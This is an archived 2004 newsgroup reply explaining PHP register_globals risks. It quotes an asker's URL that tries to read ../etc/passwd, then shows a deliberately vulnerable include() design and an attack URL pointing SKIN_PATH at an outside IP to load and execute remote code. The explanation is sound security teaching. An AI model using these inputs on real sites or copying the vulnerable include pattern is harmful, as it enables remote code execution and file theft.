Re: Php query string security

From: Chung Leong (chernyshevsky_at_hotmail.com)
Date: 05/09/04 

Date: Sat, 8 May 2004 20:35:07 -0400

"Simon Hadler" <nospam@nospam.ns> wrote in message
news:857A1UT038115.2998726852@anonymous.poster...
> Hi was asking some questions about this in alt.php but some didn't get
answered.
> Yes I have read an awful lot now about php security and different
advisories
> and Idon't mind being called a competely dimwit but I still don't
understand
> what prevents this from happening if register_globals is ON:
>
> http://www.mywebsite.com/anypage.php?firststep = fopen ("../etc/passwd",
"r");&secondstep=fread($firststep,filesize("../etc/passwd"));
>
> I can't seem to get this or any variations on the above to work inlcuding
someting
> like thirdstep = print $secondstep , but theoretically it should work
shouldn't
> it ?
>

Nope, that will never work. All it does is print out the text
'fopen("../etc/passwd", "r");'.

It's worth remembering that register_globals isn't insecure on its own.
Vulnerabilities related to the feature usually involves poor use of
include/require (lameass single entry point design and such like). Here's an
example:

main.php:

<?php

include("$DOCUMENT_ROOT/config.php");
include("$SKIN_PATH/header.php");
include("$SKIN_PATH/$action.php");
include("$SKIN_PATH/footer.php");

?>

Every page in this hypothetical site is handled through main.php. Depending
on what the GET parameter "action" is set to, different content appear
(within the same page frame). This application supports mutliple "skins". By
changing $SKIN_PATH in config.php, you can change the entire appearance of
the site. So far so good. Now, in product.php ("product" is one possible
value of $action) another file is included:

product.php:

[ ... stuff ... ]
include("$SKIN_PATH/shopping_cart.php");
[ ... more stuff ... ]

This introduces a vulnerability permitting arbituary code execution, because
if I pass SKIN_PATH in the URL, and I access product.php directly, then I
can get the script to include a remote file:

http://www.viagra4cats.com/patriotic_theme/product.php?SKIN_PATH=http://123.14.123.9

Since I am bypassing main.php, config.php never gets included, so $SKIN_PATH
won't get set and the value from the URL is employed in the include
statement. In this case, http://123.14.123.9/shopping_cart.php would be
loaded and executed.

As you can see, the vulnerability occurs in a quite complicated setup. And
people who write unnessesarily complicated code, who overdesign software,
are usually not security conscious. "Complexity is the enemy of security" to
quote Bruce Schneider. When you combine large codebases, feature bloat, and
people who don't care, the end result is--predictably--insecure PHP
applications. While register_globals is the enabling mechanism, it's not the
cause of the insecurity, and the bad rap that it carries is in my opinion
entirely undeserved.

Relevant Pages

  • [NEWS] PHP Security Vulnerability in Multipart FORM Data Handling
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The PHP Group has learned of a serious security vulnerability in PHP ... code with the privileges of the web server. ...
    (Securiteam)
  • [UNIX] Arbitrary Code Execution Vulnerability in Mantis
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Mantis is an Open Source web-based bug ... tracking system, written in PHP, which uses the MySQL database server. ... A security vulnerability in the ...
    (Securiteam)
  • PHP Security!!! www.armorize.com
    ... Our product uses the most advanced static source code analysis for identifying vulnerabilities in PHP code. ... Our language parser and transformer creates an abstract model of the code through which it runs a series of program path, inter-procedural and data flow analyses after which it can tell you not only what line of code the vulnerability lies, but also highlights the tainted variable that introduced the bug and how it propagates throught the code to become a vulnerability. ... This provides an end to end illustration of the vulnerability, educates you regarding the dymanics of security problems in PHP and actually provides suggetions of how you should go abuout fixing the code. ... Purchase for one month and fix your entire code base, when you need to modify your application again, it will only cost you that month's subscription. ...
    (php.general)
  • Re: [PHP] Out source files
    ... >> server, and use URL fopen to read them, if you like. ... In several PHP security recommendation we can read "Do not let PHP ... a vulnerability of the application doesn't expose all the data to the ...
    (php.general)
  • SecurityFocus Microsoft Newsletter #174
    ... This issue sponsored by: Tenable Network Security ... the worlds only 100% passive vulnerability ... MICROSOFT VULNERABILITY SUMMARY ... Novell Netware Enterprise Web Server Multiple Vulnerabilitie... ...
    (Focus-Microsoft)